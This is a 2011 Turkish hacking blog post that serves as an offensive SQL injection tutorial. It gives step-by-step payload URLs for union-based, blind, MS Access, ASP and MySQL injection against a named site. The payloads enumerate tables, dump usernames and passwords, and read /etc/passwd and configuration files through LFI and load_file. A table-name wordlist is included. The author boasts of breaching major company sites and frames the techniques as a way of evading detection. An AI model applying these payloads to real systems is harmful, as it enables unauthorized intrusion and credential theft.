9 Eylül 2011 Cuma

Sql İnjection

Selamun aleyküm arkadaşlar.
Bugün sizlere sql injection'dan bahsedicem.
Aslında bu anlattıklarım internette var kendi anlattığımda birçok sql dersi var fakat bu tip toplu bir anlatım yok.Benzeri vardır belki de fakat yaptığım aramalarda böyle hepsinin olduğu büyük arşiv tipi bir sonuç bulamadım.Buda DDz farkı olsun değil mi :)

Belirli başlıklar altında inceleyeceğiz bu başlıklar;

1)Giriş
2)Neden Kaynaklanır
3)Url İnjection
4)Blind Sql İnjection
5)Blind Injection Ascii Mantığı
6)ASP Sql Injection
7)SQL Injection Üzerinden LFI
8)Ms Access SQL Injection
9)Mysql İnjection
10)Load_file kullanımı
----------------------------------------

1)Giriş
İlk olarak sizlere nasıl okunduğundan bahsedelim yanlış kavramayın.Okunuş şekli esquel injekşın'dır.Neden bundan bahsettin derseniz bana kimse okunuşunu demedi ben internetten dökümanlardan öğrendim okurken de sukul injeksiyon diyordum ilk öğrendiğimde ^^ soralarında öğrendim esquel injekşınmış.
Sql açıkları günümüzdeki en populer açıklardan biridir.Çok büyük sitelerde bile çok rahat bir şekilde oraya çıkabiliyor.Örneğin ben sql ile turktelekom bmw isuzu gibi birçok siteye bastım.
Yani 2009'un rfı'ı gibidir.Ayrıca bu günlerde herkes siteleri hackledi sistemler değişti artık bu sistemlerde açık yok gibi düşünmeyin bir bakın bakalım yeni sitemde neler var mantığı nedir neler olabilir.
Zaten şu günlerde xss ve sql injection en çok kullanıyor.Joomla sitelerde zaten açık bol bol.Joomla olmasa nabardık acep diyor insan.Birde şu lanet sql programları var havij m4x vsvs.Bunlar da adamın öğrenmesini sınırlıyor.Tamam kullanın bir sorun yok ama en azından manuel olarak nasıl yapılacağını bilin.Adam sisteme bir ddos koruması koyuyor.Doğal olarak havij saniyede 7 tane talep gönderiyor get isteği yapıyor ve banlanıyorsunuz.Elle yapmanız lazım bilmiyorsunuz bırakıyorsunuz.Zaten bu anlatımları yapmamım amacıda bu kafanızda bir şeyler oluşması.Bu programları insanları kör ettiği için sevmiyorum.2-3 sene önce adamlar sql'in s'sini bilmiyorlardı şimdi de bu sql programlarını kullanmayı bildiklerini için uzmanlık alanlarına ekliyorlar.Hemen 2-3 tane örnek verebilirim :)



----------------------------------------

2)Neden Kaynaklanır
Aslında çoğu kişi bunun coder tarafından kodlayan kişi tarafından kaynaklandığını söyler ama bu güvenlik uzmanının işidir.Yani açıkların kapatılması kısmı güvenlik uzmanına aittir.Tabi ki burada coder arkadaşa da iş düşüyor ama güvenlik uzmanının bunda görevi daha bir büyüktür.Örnek olarak güvenlikçi arkadaş bir modsecurity kursa ve sağlam bir şekilde bunu ayarlasa ortada pek bir sorun kalmayacaktır.
En basitinden htmlspecialchars uygulansa yada gelip basit bir filtreleme yapılsa ortada sorun kalmayacaktır.
Açık özel karakterlerin kapatılmaması filtrelenmemesi sonucunda oluşur.Saldırgan gelir ve sql sorgusunun içerisine birşeyler dahil eder yada hata vermesi için ' ekler.Yani filtre meseledir.Birde örnek olarak veritabanında girdi uzunluğunu 10 karakter yaptığınız ama sitede formlar kısmında karakter uzunluğunu 30 yaptınız.Buda hafiften bir zaafiyer belirtisidir.Bu girilen verileride bir filtreden kontrolden geçirmeniz sizin için iyi olacaktır.Yani adama sayı gir derseniz ve harf girerse bir hata mesajı gelmesi için kontrol sağlayabilirsiniz.

----------------------------------------

3)URL Injection
Aslında artık belirli bir kültürel düzeye gelmiştir.Yani bu url işi bizim ' tırnak atmamız ile oluşan sql açığıdır.Artık bunu yapmayan varmı bilmiyorum google'a bile atan adam gördüm ben yani adamlar her yere bir tırnak atıyor.Tırnak attığımız zaman uygulanmak üzere olan sql sorgusu değişecek ve bunun sonucunda ekrana bir hata mesajı gelecektir.Sizde burada sql injection var sonucuna varıp sql yapıcaksınız.

----------------------------------------

4)Blind İnjection
Blind sql injection aslında hata vermez diyebiliriz.Çoğunlukla ekrana bir hata gelmez.Bizde sayfanın değişip değişmediğinden anlarız.
Örnek site olarak paparosse.com kullanıcam.
www.paparosse.com/index.php?id=1'
yaptık fakat ekrana bir hata gelmedi.Sadece alt taraftaki 1-2 yazı değişti.şimdi bundan bir kuşku duyarak değişik bir taklı atıcaz blind olup olmadığına bakıcaz.
Uygulayacağımız şey having 1=sayı olacaktır şu şekilde yapıyoruz;
www.paparosse.com/index.php?id=1 and 1=1 Normal bir sayfa geldi
www.paparosse.com/index.php?id=1 and 1=0 Sayfada bir değişim oldu alt taraftaki yazılar gitti.
Burada size basa basa blind olduğunu anlatıyor.
Şimdi kaç tane kolon olduğunu öğrenelim.
www.paparosse.com/index.php?id=1 and 1=1  order by 10
var ama
www.paparosse.com/index.php?id=1 and 1=1 order by 15
15 yok demekki 14 tane kolon var.
Şimdi union select kullanıcaz.
www.paparosse.com/index.php?id=1 and 1=0 union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14
diyoruz ve alt tarafta 2 tane sayı geliyor.
Biri büyük bir şekilde yazılmış 3 biride allta yazılmış 4.
fark ettiyseniz union select kısmında and 1=0 dedik.Bu aslında id=1 sayısından önce id=-1 yapmakla aynı mantıkdır.
Şimdi bir version'a bakalım.
www.paparosse.com/index.php?id=1 and 1=0 union+select+1,2,@@version,4,5,6,7,8,9,10,11,12,13,14
şöyle birşey yazdı;
4.0.27
buradan anlıyoruz ki version 4.
Sonra basit bir şekilde sql injection yapıyoruz
www.paparosse.com/index.php?id=1 and 1=0 union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14+from+admin
dedik dedikki admin ekrana tuttu.
de işte admin ve password için denemeler yapacaksınız.

----------------------------------------

5)Blind Injection Ascii
blind injection eğer sitede sql açığı varsa fakat size hata gelmiyor ve başka bir sayfaya yönlendiriyorsa vardır.Olup olmadığını anlamak için having 1=1 kullanıyoruz şu şekilde;
paparosse.com/index.php?id=1 having 1=0
paparosse.com/index.php?id=1 having 1=1
yapıyoruz sırasıyla eğer sayfada bir değişme varsa blind vardır demektir.
Bundada ascii table kullanıyoruz.Örnek olarak version bulmak için
index.php?id=1' and ascii(substring(database(),1,1))>5 and 'x'='x
bize version gelecektir.Bunun mantığı şudur version yazarkan 5 der sonra işte 5.0.papa gibi birşeyler yazar bizde burada 1,1 diyerek 1.harfi kesiyoruz böylece ekrana version geliyor.Bu şekilde devam ederek veritabanının birinci harfini 2. harfini keresek veri tababı adı bulunabilinir.Yada işte internette dolaşan sql programlarıda mevcuttur.Sanırım blind yapıyorlardı.Ama şuda var sistemde eğer ddos koruması varsa banlanır ve drop tarafa atılırsınız.

----------------------------------------

6)ASP Sql Injection
Basitten bir ön bilgi dersek access sql gibi tahmin işi ile yapılır.Mantık olarak biri birlerine çok benzerler.
Örnek olarak : www.paparosse.com/index.asp?id=1 dicem.
İlk bilmeniz gereken asp sql'da order by komutu yoktur.Çoğu arkadaş gider order by yapmaya çalışır ve doğal olarak bunun sonucunda order'dan birşey bulamadığı için sıkıldım der çeker gider.
order yok biz bunun yerine direk olarak
union+select+0+from+ XXXX yapıcaz.
XXXX doğal olaraktan tablo adı olacak.Ondan sonra sayıyı arttırıcaz anlatıcam onu aşağılarda.
Şimdi eğer ezberinizde yoksa yada ne biliyim tablo adlarını bilmiyorsanız ben ilk öğrendiğimde sql programının tablo wordlist'inden almıştım.Eğer bilmiyorsanız filan olarada ki listeden rahatça gidebilirsiniz.
Örnek :
user
username
usernames
admin
admins
users
manager
account
accounts
member
login
logins
members
tbl_user
tbl_users
tbl_admin
tbl_admins
tbl_member
tbl_members
tbladmins
memberlist
tbluser
tblusers
tblclients
tblservers
adminuser

Şu şekilde uygulayacağız.
http://paparosse.com/index.asp?id=1+union+select+0+from+admin
Eğer tablo admin değil ise ekrana
the microsoft jet database engine connat......'admin'....spelled correctly gibi birşey gelmesi lazım ezberden yazdım yoksa ... kısımlarında yazılar olacak ona göre :)
Eğer tabloadı tutarsa da şu tip birşey gelecek.
the number of colums falan filan...
Diyelim ki tablo adı admin ve tuttu.
Ekrana da the number of colums şeklinde birşey geldi.Bundan sonra ekranda ki yazı bize admin'nini doğru olduğunu öyle bir tablo adının olduğunu fakat girdiğimiz 0'ın yani kolon sayısının yanlış olduğunu söylüyor.
Yani neredeyse hepinizin bildiği gibi
union+select+1,2,3,4,5+from+admin şeklinde birşey denicez.
ilk 1 yapıcaz sonra 1,2 sonra 1,2,3 yani arttıra arttıra gidicez.

Diyelim ki;
http://paparosse.com/index.asp?id=1+union+select+1,2,3,4,5+from+admin kısmına geldiniz.Yani doğru kısma o zaman ekranda 2 tane sayı çıkar bir allta birde üstte büyük.
Diyelimki üstte 3 çıktı.allta da 4.
Kullanıcı adı ve şifresi için kolonlarıda aynı mantık ile tablo adını bulduğumuz gibi çekicez
Denicez ve çoğunlukla yanılıcaz.

Örnek olarak : http://paparosse.com/index.asp?id=1+union+select+1,2,username,4,5+from+admin yapınca tuttu dersek ekrana user name gelir.
Örnek olarak : http://paparosse.com/index.asp?id=1+union+select+1,2,3,password,5+from+admin yapınca tuttu dersek ekrana şifre gelir.

Bu şekilde asp sql yapabilirsiniz.Artık admin panel bulmak size kalmış birşey.

----------------------------------------

7)SQL Injection Üzerinden LFI
Aslında çok nadir çıkar nadir bulursunuz ama bilmenizde fayda var.Bulduğunuzda sömürmeniz gereken oldukça kullanışlı bir zaafiyettir.Zaafiyet require, include_once, require_once gibi fonksiyonlara parametre verildiğinde ortaya çıkar.Bunun olduğunu anlamak için örnek olarak site paparosse.com olsun.
http://www.paparosse.com/index.php?id=1+union+select+1,2,3,4,5,6,7,8+from+admin
dediğiniz zaman ekrana aşağıdaki gibi birşeyler yazar gelirse buldunuz demektir.

Warning:
include_oncel(/home/denemesitesi/www/modules/5/dashboards/99999/999999.php:
failed to open stream : No such file or directory in.........

Falan yazar bunu gördüğünüz zaman şanslısınız demektir :)

Biz ne yapmıştık
http://www.paparosse.com/index.php?id=1+union+select+1,2,3,4,5,6,7,8+from+admin
Yapmıştık bunu
http://www.paparosse.com/index.php?id=1+union+select+1,2,3,4,5,6,7,8,'../../../../../../../etc/passwd',10+admin

şeklinde yaparsanız etc/passwd okursunuz.
Bu şekilde kafanıza göre takılabilirsiniz :)

----------------------------------------

8)Ms Access SQL Injection
Çoğunlukla asp diliyle yazılan sitelerde bulunmaktadır.
Tamami ile tahmin işidir desek yeridir.Zaten asıl iş  tahmin etmekte.
Örnek : paparosse.com/index.asp?id=1
Her zaman olduğu gibi sql hatası almak için ' koyuyoruz.
Örnek : paparosse.com/index.asp?id=1'
Microsoft JET Database Engine error ’80040e14’
şu şekil bir hata gelirse sitede msaccess var demektir.
Order by uyguluyoruz
Örnek : paparosse.com/index.asp?id=1+order+by+6 var
Örnek : paparosse.com/index.asp?id=1+oder+by+7 yok demekki 5 kolon var.
şimdi tablo adını buluyoruz

paparosse.com/index.asp?id=1+union+select+0,1,2,3,4,5+from+admin
diyelimmi tuttu bundan sonra ekrana gelecek olan 2 tane sayı olacaktır.
1 vede 2 geldi diyelim.
paparosse.com/index.asp?id=1+union+select+0,username,password,3,4,5+from+admin
ğer username ve password tutarsa iş tamamdır.

----------------------------------------

9)Mysql İnjection
Genel olarak bakarsak bundada ' yaparak sayfanın hata vermesini bekleyeceğiz.
Şimdi bir order + by diyelim.
paparosse.com/index.php?id=1+order+by+10
10 dedik 10 var 11 yapalım yok demek ki sayımız 10.
Şimdi
paparosse.com/index.php?id=1+union+select+1,2,3,4,5,6,7,8,9,10--

diyoruz ekrana bir sayı gelmesi lazım eğer gelmesse id=1 tarafında 1'den önce - koyabilirsiniz.
Gelen sayılar 3 altta 2
şimdi version öğrenelim.
paparosse.com/index.php?id=1+union+select+1,2,@@version,4,5,6,7,8,9,10--
Version 5 diyelim ve devam edelim şimdi tablo adlarını bulalım
paparosse.com/index.php?id=1+union+select+1,2,group_conc at(table_name),4,5,6,7,8,9,10+from+information_schema.tables--

Tablolar ekrana sığmayabilir bunun için

paparosse.com/index.php?id=1+union+select+1,2,group_conc at(table_name),4,5,6,7,8,9,10+from+information_schema.ta bles+where+table_schema=database()–

Şimdi ekrana birşeyler geldi admin olanı seçtikten sonra

paparosse.com/index.php?id=1+union+select+1,2,group_conc at(table_name),4,5,6,7,8,9,10+from+information_schema.c olumns+where+table_name='admin'--

diyouz ve admin tarafındaki kolonlar geliyor.
gelemez ise admin tarafını hex yapıyoruz.
0x61646d696e

Eğer group_concat'a izin vermez ise limit kullanıcaz.

paparosse.com/index.php?id=1+union+select+1,2,table_name,4,5,6,7,8,9,10+from+information_schema.tables+where+lim it 0,1

gibisinden

Şimdi username ve password gel diyelim ve çekelim

paparosse.com/index.php?id=1+union+select+1,2,group_concat(username,0x3a,password),4,5,6,7,8,9,10+from+admin

İşte bu kadar.

----------------------------------------

10)Load_file kullanımı
Yetkilere göre sizlerin dosya okuması içindir.
paparosse.com/index.php?id=1+union+select+1,2,load_file( '/etc/passwd),4,5,6,7,8,9,10--
Gibisinden yetkilere bakabiliriz yada config okuyalım ayarlar.php olduğunu düşünelim

paparosse.com/index.php?id=1+union+select+1,2,load_file( '/home/ddz/public_html/ayarlar.php'),4,5,6,7,8,9,10--

Gibisinden okuyabilirsiniz eğer buda olmaz ise hex yapacaksınız.

----------------------------------------


Selametle of Mr.PaPaRoSSe

Hiç yorum yok:

Yorum Gönder